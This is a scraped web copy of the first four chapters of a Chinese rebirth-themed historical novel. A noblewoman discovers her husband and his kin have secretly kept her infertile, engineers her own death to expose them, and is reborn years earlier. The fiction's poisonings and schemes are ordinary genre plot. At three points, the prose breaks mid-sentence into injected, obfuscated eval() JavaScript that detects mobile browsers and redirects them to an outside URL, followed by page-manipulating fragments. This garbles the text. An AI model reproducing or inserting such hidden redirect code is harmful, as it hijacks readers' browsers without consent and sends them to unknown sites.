《挽君归（重生）》 1. 无子真相 嘉熙九年冬，弘文伯府萧家。 一个身着飞鱼服，腰挎绣春刀的男子，一把推开佛堂大门，急不可耐道：“姑母，宋氏那个贱人什么时候咽气，马上年关了，邓家真的等不起了。” 此人是邓家的当家人邓睿江，被他唤做姑母的人，是弘文伯府的太夫人邓氏，邓氏所生嫡子为现任弘文伯萧元绰，他口中的宋氏正是萧元绰正妻，宋归宁。 邓氏闻言，不疾不徐地敲着手上的木鱼，口中念念有词，“请佛祖保佑我那多灾多难的儿媳早日康复，尽快为我萧家生个嫡子继承家业。为表诚意，老身宁折十年阳寿……” 邓睿江实在听不下去，气冲冲离开佛堂，三步并两步进了正堂，屋内他的胞妹邓姨娘正在等候，见哥哥进来，问道：“姑母怎么说？” 邓睿江摇了摇头，没好气道：“宋氏同意过继了吗？” 萧家正妻宋氏过门多年未育，做主为萧元绰纳了邓家的姑娘为贵妾，也就是如今的邓姨娘，邓姨娘进门后不久就生下了庶子荃哥。 邓姨娘叹口气，“别提了，自从她中秋病倒之后，姑母就让荃哥过去服侍汤药了，日夜宽不解带地在床前尽孝，人都瘦了一圈儿，到现在也没见那贱人松口。” 邓睿江握紧腰间的绣春刀，眸底露出一抹狠厉之色，“趁着青然不在，不如我一把火了结了她。” 话音落处，邓氏缓步进屋，呵斥道：“临门一脚了，急什么？做局要做全套，熬了十几年，还差这一时半会儿？” “我们既要得到宋家的家财，也不能落人口实。名和利我们都要，就是那包青天再世，也让他查不出我们的手段。要做就做到天衣无缝，让她怎么死的都不知道。让她下辈子，下下辈子，都心甘情愿做邓家的垫脚石。” 邓睿江却急道：“年底了，宫里的公公天天派人来催，问我们答应的宅子和土地什么时候送过去。说如果除夕前看不到，就去圣上跟前参奏咱们邓家窝藏逆贼……” “还有年初借的印子钱，现在已经翻了三倍，年底再不还，邓家的事就纸包不住火了。” 邓氏睨了沉不住气的侄子一眼，“等宋氏一死，你私下养得那些爪牙一并处理干净，七殿下的骨头都化成灰了，留着这些余孽只会惹是生非。” 邓睿江发狠道，“只要解了邓家这次燃眉之急，就让他们陪着宋氏一起见阎王。”全然不顾自己能坐稳千户的位置，皆是依赖这些人出生入死。 胸有成竹的邓氏给二人吃下一颗定心丸，道：“宋氏身边的香冬传来了口信，说等绰儿回来，就写过继文书。” 不等邓睿江催问萧元绰的归期，邓氏又道：“我已经提前做了安排，绰儿最快明天晚上就能回来。” ** 卧病多日的归宁突然病情加重，昏睡了一日一夜，远在保定府公干的萧元绰得知消息，星夜兼程马不停蹄赶回。 在大夫全力救治下，归宁终于悠悠转醒，看到床头胡子拉碴满眼红血丝的萧元绰，以为自己眼花了，不是说这次出门至少要半个月，怎么这么快回来了，“夫君，是你吗？” 萧元绰，字青然，与归宁青梅竹马，成亲后更是如胶似漆感情甚笃，见归宁醒来，他悬着的心终于放了下来。 当晚归宁依靠在萧元绰的肩头，自觉时日无多的她，生怕没交代完身后事就撒手人寰，荃哥的孝心她也看在眼里，终于放下担忧，答应将他过继到自己名下。 事情办得很快，见她稍有好转，一向勤勉的萧元绰立刻返回保定府，继续暗查朝廷税赋之事。认了嫡母的荃哥也没有骄纵，依旧在归宁身边侍候，甚至每一副药都要亲自试一试冷热才给母亲。 为了给归宁祈福，邓氏和邓姨娘整个冬天都在吃斋念佛，十分虔诚，让所有与萧家结识的女眷都羡慕归宁有一个心疼儿媳不摆谱的婆母。 萧元绰离开后的次日夜晚，香冬如往常一样服侍归宁喝药入睡后，悄悄从孤芳院西角门溜出来，偷摸去见了一个人。 “邓大人，奴婢已经按照太夫人的吩咐做了，求求邓大人放了我的女儿吧。夫人没有多少时日了，奴婢过几天就告个假，永远离开京师，保证不会有人透露大人的秘密。” 邓睿江冷冷一笑，“不肯放过你的可不是我，我们只不过是让你做了一件微不足道的小事，逼你下了一剂猛药，让宋氏乖乖昏睡了一晚，诓骗萧青然回来写过继文书。真正的大事是你们萧大人指使你做的，你想想宋氏过身之后，谁才会第一个处置你？” “他那么追求完美的人，怎会允许你这么个小丫头握住他那么大把柄？” “我可不敢放你走，你们的萧大人心思缜密，我也惹不起。我若放了你，他第一个不肯放过我。” 绝望的香冬跪在冰冷的寒夜里，苦苦哀求，得到的却是邓睿江的挖苦：“别求了，死了这条心吧，背主之人就该得到审判。你放心，你去之后，你男人不会亏待你女儿，顶多将她卖去春风阁吃香喝辣。” 春风阁是最下等的窑子，邓睿江得意的笑声回荡在寂静的黑夜里，无情淹没了香冬最后一缕希望。 魂不守舍的香冬继续回到孤芳院，小心伺候着为了萧家熬到油尽灯枯的主子，见她拖着病体伏案盘点宋家家底，准备交代身后事，心里不由生出几分可笑的悲悯之心来：主子比她还可怜，兢兢业业半辈子，竟为了他人做嫁衣，至死都被蒙在鼓里。 更漏声长，不知不觉已到戌初，香冬如常捧上归宁要喝的药，归宁抬了抬眼皮，摆手让她先放在一旁。 香冬放下药碗，转头噗通一声跪在地上，砰砰磕头道：“奴婢求夫人救我。” 归宁见状心下一惊，强撑着精神温声道：“这是怎么了？有什么事快起来说，天冷地凉，别跪坏了。” 香冬哽咽道：“夫人，奴婢该死。是奴婢欺骗了夫人，求夫人救救奴婢。” 她已别无选择，只能放手一搏，邓家与大爷不仁，就不要怪她不义。 “夫人，您还不知道吧？夫人吃了八年的苦药，就想给大爷留个孩子。可盼了八年，等了八年，日日成空，直到心如死灰。可夫人您怎么也想不到，这根本不是夫人的问题，而是大爷，您最敬爱的夫君，不想让夫人有孩子。” 这突如其来的状告，让归宁一时有些识海空白，呆愣当场。 不等她接话，香冬打开她的梳妆盒，将她平日里用的胭脂水粉悉数抖落出来，道：“这些都是玉容坊特意为夫人量身定制的上等胭脂，这里每一盒胭脂膏子里都掺着一样让夫人终生难孕的东西——麝香。” “每一样麝香量都不大，不易让人察觉，可这么多叠加在一起，日积月累之下，夫人永远都不可能有孕……” 细细算来，自从七八年前萧元绰第一次送她玉容坊的东西，她就再也没用过其他地方的胭脂。 归宁看着香冬一件件将东西拿出来，脸色苍白嘴唇颤抖，空落的内心有怀疑，但更多的是不信，“你胡说，空口白牙，我为何要信你？” 自幼青梅竹马的情分，她想不明白，他有什么理由要害自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541637|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而香冬今日就是要彻底打破她的幻想，继续道：“有一件事情我猜夫人一定不知道，这玉容坊背后真正的东家是太夫人的娘家邓家。” “大爷从来不会让除了他和奴婢之外的第三个人去买胭脂，夫人难道不觉得奇怪吗？” “不少胭脂都是大爷亲自送的，没有大爷的首肯，谁人有那么大的胆量做手脚？” “夫人不妨再仔细想想，夫人这些年为了求子前前后后请了多少郎中，吃了多少苦药，难道就没有一人发现吗？府里谁有这个能耐让所有郎中都闭嘴呢？” 句句在理，最后一条更是如天雷炸响，劈得归宁愣愣地说不出一句反驳的话来。 她靠在床头，手捂胸口吐息困难，虚脱地瘫软下去。泪如滚珠，从失神的眼中汩汩涌出。一闭眼，便如磅礴的江河，淹没了整张苍白的面庞。 许久，才沙哑出声，质问道：“你为什么要骗我，为什么要等到现在才告诉我，你安的什么心？” 香冬泣声道：“邓家拿小女的命威胁奴婢，奴婢没有办法。奴婢知道大爷的秘密，只要夫人不在了，他一定会杀了奴婢。奴婢做这些都是被逼的。” 抬袖擦了把泪，又哭道：“夫人，萧家就是想要独吞宋家的家财，大爷哄骗您这么久，就是想让您死后心甘情愿地将钱财留给萧家。还有，奴婢怀疑当年姑太太的死也和大爷脱不了干系。” 香冬口中的姑太太就是归宁的母亲。 母亲就是在她小产养病期间突然病故，那时她正卧床休养，是萧元绰派人请了大夫，又让香冬和她的男人过去照看。香冬作为当事人，她的怀疑应该不是空穴来风。 “再有夫人当年小产，也和大爷有关……” 话音未落，一向颇有涵养的归宁突然抄起一旁的药碗，愤怒地砸了出去，泼了香冬一裙子的漆黑药汁。香冬本能地后退两步，抽噎不停。 孩子是归宁一生最大的软肋，悲恨交加之下，涕泪凝噎，当场晕厥过去。 ** 两日后，归宁身边的奶妈周嬷嬷带着一身寒气从外面匆匆赶回，对着卧床修养的归宁道：“夫人，老奴悄悄找外面的大夫瞧过了，香冬那小蹄子说的没错，是有麝香。” 归宁自与香冬彻夜长谈之后，既没有发作，也没有完全相信，而是让周嬷嬷又去找人验了一遍。 周嬷嬷见她强忍着不发作，在一旁宽慰道：“有没有可能是邓家人私自做的手脚，诱骗香冬这么做，实际上大爷并不知情？” “夫人也知道，每一个给您瞧过病的郎中，都去过太夫人的院子。大爷一向孝顺，太夫人的话也就是大爷的话，可未必是大爷的心意呀！” 周嬷嬷的话不是没有道理，香冬说是邓家人拿孩子威胁她，是不是邓家也在借萧元绰做掩护呢？他公务繁忙，哪里有那么多心思盯着后院，可是没有他的授意，谁又会把局做得这么完美？ 归宁虽在内宅，可伴随着萧家的起起伏伏没少经历风雨，短短两日间，她就收拾好了情绪，清醒而理智地做着安排：“我有一计，可以试探夫君是否知情。” ** 孤芳院的平静，却让另一方庭院的算计显得不安。 邓姨娘对着哥哥不满道：“哥，你何必要刺激香冬，不怕她什么都说了？” 邓睿江好整以暇地转着手中的青花盏，悠悠道：“傻妹妹，萧青然的手太干净，邓家的手太脏，若想保住邓家，就必须让萧青然和我们牢牢捆在一条船上。” 邓姨娘不解，“怎么说？” 2. 以死为局 邓睿江凉声道：“兔死狗烹，他若知道邓家的这些烂事，你说他会不会和邓家做清算？你以为荃哥过继给宋氏，咱们邓家就稳当了？远远不够！” “我就是要告诉宋氏真相，让宋氏在临死前不顾一切与萧青然撕破脸皮，让人看到萧青然的虚假。只要宋氏一闹，为了不落人口实，萧青然自然会让我们邓家出手剪除宋氏留下的旧人。这样我们邓家不仅能握住萧青然的把柄，还能趁机从宋家捞好处，否则就凭姑母那几句空话，我们能得到什么？” “宋氏的家财是留给萧家的，不是邓家，邓家若想分一杯羹，就必须把水搅浑，这样才能浑水摸鱼。想要捞得好处，还不想脏了手，天底下哪里有这么好的事？这件事，谁也别想干净！” “你盯紧宋氏的举动，过两日等青然从保定府回来，我们见机行事。” ** 三日后，萧元绰带着一身寒气从外面奔来，将身上的大氅丢给迎出来的丫头，迫不及待的挑帘进屋看望归宁。 见归宁携靠在床头翻看账册，一手夺过来扔到一边，心疼道：“你身子不好，这些劳心费神的东西就不要看了。” 归宁勉强挤出一丝笑颜，“萧家的事情自会有婆母操劳，只是这些是宋家的东西，我总要捋一捋。” 萧元绰凑近她身边，闻着她身上熟悉的香气，忍不住将人一把拥入怀里，在她耳边低声吐气：“这两日怎么样，身上好些没？吃了多少饭，睡觉好不好？我不在的时候，下人有没有偷懒耍滑服侍不周？” 面对他的关心，归宁一笑置之，随口问了几句公务是否顺利等语，萧元绰一一答了，夫妻二人如同往常闲谈起来，最后归宁提起要给范氏送礼：“我素与大理寺少卿之妻范氏交好，听说她又有了身孕，我缠绵病榻久矣，也不便去探望，让周嬷嬷带些我惯用的香囊脂粉替我走一趟吧。” 玉容坊的东西质优价高，对于俸禄微薄的普通官宦之家可谓是稀罕物，归宁卧病多时，之前攒的不少脂粉还没有拆开，正好去送人。 萧元绰闻言面不改色地应了，这让归宁有些恍惚，似乎是自己错怪了他。 可等他刚踏出孤芳苑的大门，周嬷嬷就来报：“夫人，如您所料，大爷悄悄找过香冬了，老奴依着您的吩咐在暗处躲着，只听到大爷说了一句话‘从玉容坊重新买几样送人，刻有十字纹的万万不可流出去，东西交给周嬷嬷之前务必先拿给我看一眼’。” 原是送给她的东西都有特殊的标记，他什么都知道。范氏有孕在身，范氏的官人又是大理寺的人，容不得他不小心。 只需一个小小的试探，就让归宁看清了一个残酷的事实：与她温情款款日夜缠绵的枕边人，背地里却藏着如此险恶的用心。 周嬷嬷说完，见归宁一直没有反应，伸手在她眼前晃了晃，“夫人，您要是难过就哭出来吧，这里没有外人，别憋坏了，老奴瞧着心疼。” 话罢，自己先落下泪来。 归宁将苦泪咽尽，攥了攥拳，咬牙道：“我不会让他们得逞的，我就是死，也要一个公道。” 话罢，她将周嬷嬷遣出去，独自坐在黑暗里，想了一夜。任泪水流干，心死如灰。 次日一早，揽镜自照，鬓边又多了几缕白发，归宁用热毛巾敷着肿似核桃的双眼，交代周嬷嬷看望完范氏后，在回来的路上买一样东西给她。 周嬷嬷闻言大惊失色，刚想开口多问几句，就被归宁抢先打住了：“嬷嬷什么都不要问，一切依着我的安排照做就是。” 当晚，下值归来的萧元绰如往常一样过来看她，听香冬说夫人今日不肯喝药，揽着她消瘦的肩，宠溺中满是担忧道：“是不是嫌药苦？我让人把蜜饯和蜂蜜拿来，我来喂你喝，好不好？” 归宁摇头，娇声泣道：“夫君，我觉得还是刘御医的药好，还是让刘御医来给我开药好不好？还有，我不想再施针了，好痛……” 面对爱妻的苦苦相求，萧元绰明知刘御医已经无计可施，还是点头应了，他只希望她在所剩不多的日子里能过得舒坦些。 很快归宁换大夫的事传到了邓姨娘的耳朵里，她左等右等都不见夫妻二人产生嫌隙或者争吵，心里愈发打鼓。不仅如此，连荃哥过去服侍时，宋氏也是一脸和气，没有发现任何不妥。 可这些担忧她不敢和姑母邓氏说，只能学着姑母装模作样为夫人祈福。 ** 归宁的安排也让周嬷嬷十分不解，将刘御医新开的药递给归宁，见她忍着苦一口饮尽，问道：“夫人为什么一定要让刘御医来？” 归宁冷静道：“日后我需要有人为我讨回公道，揭开真相，刘御医就是最好的人证，我要递一把刀给他，所以药必须是他开。” 见周嬷嬷仍是一脸迷惑，归宁继续道：“为了给萧家留后，我吃了八年催孕的药，都是出自刘御医之手。以他的医术不可能发现不了症结所在，他大抵早就知道真相，却隐瞒不说。所以我要借刀，必须找个明白人。” 接下来的日子弘文伯府一如往常，伯夫人病重，大爷日夜忙于政务。 归宁先让香冬亲手写下一封诉状，随后强撑着身子留下数封密信交代自己的身后事，又趁自己还清醒，盘点母亲留下的财物，做好筹划。 做完这些，十分配合地将刘御医开得每一副药都喝得干干净净，坦然面对自己的死亡。 这个过程痛苦而缓慢，每次周嬷嬷给她梳妆，头发都掉得厉害，“夫人一定要受这种苦吗？没有别的办法了吗？” 归宁麻木地抬袖擦去唇角的药渍，眼光空洞木然，“这就是最好的办法，我就是杀了自己，也要讨回一个公道。” 她捻起一根落发，吹落床边，忍受着身上传来的剧痛嘱咐道：“将头发仔细收起来，留着有用。” 周嬷嬷摆出一副豁出去的架势道：“真的没有别的路可以走了吗？夫人可以现在写状纸，我和香冬这就去告状，也不用日日受这种折磨。” 归宁异常清醒，苦笑道：“就这点儿证据，邓家只要略施手段，香冬就会成为替罪羔羊。不仅半点儿伤不到他们，而所有追随我的人，会因为知道这件事，在我死后被一一清算。” 她握着周嬷嬷宽厚温暖的手掌道：“你们是真正陪我到死的至亲，我自己已经时日无多，不能不考虑你们。只要我平静的什么都不说，夫君感念我生前付出，碍于名声，也会善待你们。” “我不出手则以，出手就要全胜，让他们每个人都受到应有的惩罚。” 周嬷嬷低头抹泪，恨得咬牙切齿，却也无计可施。 ** 转眼又过了两日，泼水成冰的天，阴翳低沉，至傍晚飘起了鹅毛大雪。当晚，萧元绰被张首辅留在了内阁议事。 得知消息的归宁立刻把香冬唤到跟前，吩咐道：“你马上收拾收拾，立刻离开萧家。一路南去，带着我的亲笔信去福建找一个人。” “只要他们一日找不到你，就不敢轻易动你的女儿。你若想为你和你的女儿博一条生路，就按照我说的话去做。若是想好了，周嬷嬷送你出府。” 香冬略作犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541638|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，点头道：“奴婢这就出发。”她已经别无选择。 送走香冬，周嬷嬷如常端来了归宁要喝的药。 雪落无声，淹没了香冬离开的脚印。 翌日一早，归宁疲惫的睁开眼，见白雪映窗，红梅绽放，十分惹眼。 对着窗外的景色缄默片刻，转头对周嬷嬷道：“嬷嬷，服侍我沐浴吧。” 她好久没有梳洗了，临去前，她想洗去身上凡尘，清清白白的走。 周嬷嬷皱了皱眉：“夫人，外面的雪下了半尺深，怪冷的，别冻坏了，改日吧。” 归宁喘息道：“嬷嬷，我恐怕等不了了。” 大约一个时辰之后，归宁沐浴完毕，周嬷嬷坐在暖阁的窗前，蘸着一碗特殊的药水给她梳头，一连涂了三次，归宁才算满意，捡起一缕发丝，喃喃道：“但愿我费尽心思留下的证据不要辜负我。” 周嬷嬷为归宁挽发，梳了一个高雅的牡丹发髻，戴上归宁最爱的那支累丝嵌宝石金凤簪。 归宁看了一眼镜中憔悴的自己，低头又看了看干瘦的手指道：“嬷嬷回头帮我再涂一下指甲吧，恐怕有些变色，不要让夫君生疑才是。” 周嬷嬷含泪点头。 收拾妥当后，归宁喝下最后一碗药，眼角留下两行清泪，发誓恨道：“来生再不入萧家门。” 两个时辰之后，还在衙门里忙碌的萧元绰听到家里小厮的报丧：夫人没了。 不久后，一声撕心裂肺的哭喊在伯府后院响起：“阿宁……你怎么不等等我……我回来了……” ** 嘉熙九年腊月十三，弘文伯萧元绰之妻宋氏归宁病逝。 停灵七日后，运往祖坟应天安葬。不少与萧家结交的人，沿途都设了路祭。 生前与归宁交好的官眷，纷纷前来烧纸吊唁，惋惜她福薄。其中当数大理寺少卿之妻范氏哭得最是伤心欲绝，几度哽咽难言，几近昏厥之态，最后被人抬回府邸。 年关将近，家家户户张灯结彩，唯有萧家白茫茫的一片。听说她死后，萧元绰日夜守在灵前，整整三日水米不沾牙，险些一同陪她去了。 同一时间的邓家，四处寻找香冬的下落，终于在浙江一带发现她的踪迹，穷追不舍之下，香冬坠入冰冷的河水，再也没有出来。 ** 平静睡去的归宁做了一个冗长的梦，梦见拿着她的密信去福建求救的香冬被人追杀，最后落入无底深渊，摔了个粉身碎骨，惊恐地大喊一声：“香冬……” 外间值夜的香冬听到主子呼喊，连忙起身，提灯小跑到床前，急声道：“夫人醒醒，夫人是不是又做噩梦了？” 归宁挣扎着从噩梦中醒来，昏灯的光亮驱散一室的幽暗，也照亮了她薄汗涔涔、满是惊恐的脸。 她谨慎地打量了香冬一眼，紧张地攥紧锦被的一角，满是疑惑。她记得，她亲手葬送了自己，怎么此刻又回到了这里？ 正在迷糊间，香冬已将宫灯放在床边，披衣穿鞋道：“我去绞个帕子给夫人擦擦脸，明日大爷就回来了。四年没见，可不能让大爷瞧见夫人憔悴的模样。” “四年没见”、“明日归来”等字眼，强烈冲击着归宁的记忆，瞬间将她拉入那个被漫长等待填满的夜晚。 这一日实在太特殊，让她终生难忘。 她竟然死而复生，再次回到了和萧元绰夫妻团圆的前一晚。 她回归的日子不算太好，没有在她未嫁前；可也不算太差，至少二人还没有夫妻之实。 一切或许还来得及…… 3. 小周王 花开两朵，各表一枝。 三个月前，福建，周王府。 周王府的世子小周王朱君澜，兴奋地从府外跑进父王的书房，还未站定身形，就急切开口道：“父王，听说京师的诏书到了，是不是？” 周王清了清嗓子，提醒儿子注意礼节，莫要得意忘形。朱君澜连忙作揖行礼，恭敬道：“父王，儿子失礼了。” 周王爷将诏书递过去，“圣上看到了本王关于倭寇袭扰福建沿海的奏折，传唤我进京商议此事。” “自圣上支持开海以来，各地海防松弛，倭寇袭扰日渐严峻，关键时期本王不便离开封地，你代父亲走一趟吧。” 周王封地所在的福建，素有“八山一水一分田”之称，依山傍海，山地崎岖，通行不便且良田稀缺。距离京师山迢路远，是两京一十三省中最为闭塞穷困之地。 开通海禁之前，这里信息闭塞，民生多艰。开通海禁后，虽商贸渐多，然海寇频繁袭扰，让百姓更是苦不堪言。 没有藩王愿意来这样穷困动乱的地方就藩，第一任周王是个例外，自愿请缨来这里扎根，以独善其身，远离朝廷中的权力争斗，后续他的继任者也没让祖上失望。 抗倭乃本朝大事，周王与其他无权无势闲散度日的王爷不同，在福建海防中具有举足轻重的地位，是以皇上才会特意传唤他进京问政。 对于父亲的安排，朱君澜十分高兴地应下，他终于有一个名正言顺的理由，光明正大地走出封地去往京师了，这是他梦寐以求的机会与夙愿。 不过此次进京，可不仅仅是这一件事，周王犹豫片刻，指了指敞开的门窗道：“你进来，父王有几句话叮嘱你。” 朱君澜听话地关闭好门窗，有些奇怪父王为什么突然如此谨慎了。 只见周王殿下从书架上取下一个蒙尘的木盒，用衣袖小心地拭去浮尘，打开从里面取出一个锦囊和一封书信，递给朱君澜道：“这是七殿下福王留给本王的。” 听到“七殿下”几个字，朱君澜也跟着警惕起来。 先帝嫡子早夭，之后数年又有两位皇子病故，多次经历丧子之痛的先帝始终未能下定决心立储。帝王年迈，储位空悬，非长久之计，故朝中频繁有人提起此事。 而五皇子和七皇子之间的明争暗斗也愈演愈烈，最后五皇子成功登基，成为当今圣上，败北的七皇子被发配到距离京师千里之遥的广东就藩，刚到封地就得了急症，病死了。 朱君澜很奇怪，父王从未去过京师，福王也从未来过福建，他怎么会有七殿下的遗物？ 面对朱君澜的疑惑，周王解释道：“他去往广东前，曾派人偷偷传信给我，让我去见他一面。他自知时日无多，身边又无可靠之人能够托付，才冒险找到我这里。” “七殿下有一私生女流落民间，由于种种缘故不能相认，如今他自觉愧对她们母女，希望我能帮他安顿她们，给她们一个安稳的下半生。” “京师还有几个效忠他的人，书信里他们的信息；锦囊里是寻找那对母子的信物。你到京师之后顺着信中的交代去找接头人，看看他们这些年有没有找到那对母女的下落，如果找到了，你回程之时，将她们带回福建安顿，也算是了了福王的托付。” 七殿下在当今圣上眼里就是一个禁忌，周王为了旧友之托，还是决定一试。 朱君澜小心地把东西收起，“父亲放心，我一定小心行事，若有消息，会传信回来。” 周王点点头，又道：“途中去苏州一趟，在宋大人的坟前上柱香，磕几个头吧。” 提起宋大人，朱君澜心中满是愧疚，“父王不提，儿子也会去的。听说宋大人的遗孀搬去了京师，儿子想去当面致谢。” 周王没有阻拦，“应该去，这么多年，也不知道她们母女过得怎么样。” ** 心里有了计划，朱君澜一日不想耽搁，次日一早就收拾了行囊，带着十多个护卫，向父王辞行。 周王却道：“也不急于这两天，你阿姐出海还没有回来，你不和她道个别？” 朱君澜清楚阿姐的性子，她若知道有机会去京师，一定会想方设法随行，那才是大麻烦，故十分坚持道：“不了父王，我早去早回。” 他这么急切启程，其实还有一个隐情。 也不知道什么缘故，最近总是做一些奇奇怪怪的梦，梦里宋大人的妻女被人无辜害死，求他帮忙讨个公道。他想问个究竟，却见她们被堵住了嘴巴，怎么挣扎都说不出话来。 这个梦一直缠绕着他，挥之不去。 一种十分不安的预感油然而生，一路上陆路转水路，水路转陆路，以最快的速度去往南直隶省。 正常一个月的行程，二十多天之后，一行人就到达了宋大人的祖籍，苏州吴县。 要问这位宋大人是何许人也，不得不说无巧不成书，正是归宁的父亲。 早年宋大人曾有恩于小周王，也正是因为祖上的这些渊源，前世的归宁手上才有小周王的信物。她虽不知这段缘分因何而起，但绝境之下，只能拼死一试。 且说朱君澜一行人到了吴县之后，借着暮色，计划先去宋大人墓地祭拜恩人。 朱君澜害怕外人识破自己的身份，惹来不必要的麻烦，特意选择了行人稀少的傍晚，可偏偏有人不知道是什么缘故，也选择了这个时候。 那是一位打扮十分普通的妇人，荆钗布裙身形瘦小，她身旁站着一个年轻小伙子，一身粗布短褐，瘦得像麻杆一样，一副吃不饱饭的模样。 他们来得更早，正在宋大人墓前烧纸，为了不惊扰对方，朱君澜只能带着人在灌木丛中等着，直到他们二人离开，朱君澜才上前祭拜，心里十分纳罕：他自己是因为身份限制，不敢光明正大祭拜，他们又是什么原因呢？ 且他们离开时环顾四周，那种慌慌张张生怕被人发现的模样，十分不同寻常。 这种“同道中人”才有的默契，让他猜测：这妇人和宋家应该有些纠葛牵扯。 他不能随意出封地，可每次悄悄出封地，他都会额外关注宋家的消息，哪怕是极为细小的事情，他都十分放在心上。 这次更甚。 思虑片刻，他招手对一旁的顾舜道：“你过去探探那对母子的情况，不要惊吓到他们。” 一行人中除他之外，只有顾舜最像白面书生，看起来人畜无害却最是心思活络。 不过饶是顾舜口若悬河也没打探什么有用的信息出来，那妇人只说宋大人有恩于他们家，而那后生竟然是个哑巴，看到陌生人立刻怯生生地躲在了妇人身后，吓得大气都不敢出。 朱君澜闻言只能作罢，祭拜完宋大人，习惯性地去宋府门前转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541639|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转。看门的老仆很是热情客气，问及这里的主人，老仆只是道：“主子们都在京师，好长时间没有回来了，请问客人贵姓，等娘子回来，我们给娘子通报一声。” 朱君澜不知道自己下一次出来是什么时候，如果哪一天他承袭了爵位，出封地就更难了，不敢随意留下信息，失望之余只能拱手告辞。 他有要务在身，不能在苏州久留，两日后，便启程去往京师顺天府。 他入京的消息很快传入宫里，刚到正阳门下，就被宫里派出来的公公迎进了紫禁城。 当今圣上甫一登基，就宣布解除海禁这一件关系国计民生的决策，是以对开海贸易和沿海抗倭之事都十分关注。而福建山高路远，路路不便，福建人出海贸易的百姓不计其数，所以周王封地的所见所闻颇有参照性。 整整一个多月的时间，朱君澜都被留在宫里与圣上商议要事，一时间分不出心来去处理七殿下的遗愿。 ** 终于朝中大事落定，圣上恩准他出宫游玩几日，随后派人送他出京。 朱君澜出紫禁城第一件事，就是去弘文伯府萧家拜访府上的伯夫人宋氏，并谎称自己苏州来的宋家远房亲戚，既能拉近距离还能掩人耳目。 可刚到萧府门口就吃了闭门羹，看门的小厮原本很热情的表示要去通报。 可那小厮刚转身，就碰到了从里面出来的吴管事，吴管事问明情况后，却道：“宋家的亲戚应该去见宋娘子才是，我家夫人还在守孝，大爷又在外地，这时候夫人怎能出面见一个外男？传出去岂不影响夫人名声？” “你若想见就再等几日，我们大人很快就回来了；如果等不及就去见宋娘子。” 朱君澜又问：“请问宋娘子住在何处？” 那吴管事不仅不正面回答，反而揶揄道：“连宋娘子住在什么地方都不知道，还敢说自己是苏州来的亲戚？苏州老宅的人谁不知道宋娘子在京师的宅院，你却反过来到我们伯爵府来问，真当这里是菜市场不成？赶紧走，不要脏了我们伯府前的地。” 一旁跟随的顾舜见状就要上前理论，被朱君澜拦下，“走吧，多一事不如少一事，我们在京师不会久留，不要给这里的主子添麻烦。” 顾舜不解气，怒道：“什么样的主子养什么样的仆人，仆人这样，想必主子……” “住口，休要胡言乱语。” 小王爷一向温文尔雅极少动气，今日他三言两语就把主子惹怒，也是罕见，听到呵斥，顾舜悻悻闭嘴。 二人经过打探，终于找到宋娘子的住所，不过很不巧，宋娘子去了庄子上，还没有回来。 诸事不顺，就连七殿下托付的事情也没有眉目。 按照七殿下生前安排，他留在京师的死士负责找人，然后送去周王封地，由周王帮忙照看。 可四年过去了，周王还是没有等到他们把人送过来，山高路远他也不方便派人来问，只好借小周王进京一起办了。 可是那位接头人却凭空消失了，什么信息和线索都没有留下。 人海茫茫，让人生地不熟的朱君澜不知道如何着手。 愁闷之际，昔日旧友来了信，定国公四公子徐景芝邀他去栖迟别院小住几日，说有件好东西给他看，还吹嘘说这东西有助于他抗倭。 盛情难却，朱君澜应邀前往。 4. 姻缘 书接前事，再说归宁。 本是葬入黄土的人，一夕间又重新回到了十年前，也就是归宁和萧元绰成亲四年后，正是弘文伯府走出阴霾，迎向光明的关键时期。 归宁的父亲和外祖母已经过世，但母亲尚在，她在这个世间还有一个亲人。 说起归宁和萧元绰的关系，内里其实还有一层纠葛。他们是表兄妹，却没有任何血缘关系，所以成亲之后她一直唤他“夫君”，来避免那层略显尴尬的身份。 而后来纳进府里的邓姨娘，是太夫人邓氏堂哥的女儿，和萧元绰也是表亲，所以表哥这个称呼，归宁就更不喜了。 邓家是武官出身，归宁是商贾之家，依着本朝重农抑商的规矩，以归宁的出身无论如何都攀不上伯爵府这样的高枝。 不过所有才子佳人的故事总是会夹杂一些机缘巧合的戏码，萧宋两家的联姻，尤其如是。 这些巧合纠起政治因素来十分复杂，甚至与已经驾崩的先皇都有些关联，如归宁这般自幼困在内宅的妇人很难说清楚其中的细节。可若论亲缘关系就可一言以概之：那就是归宁的母亲是弘文伯府老太太的亲生女儿，萧元绰的生父是归宁的外祖母过继的嗣子。 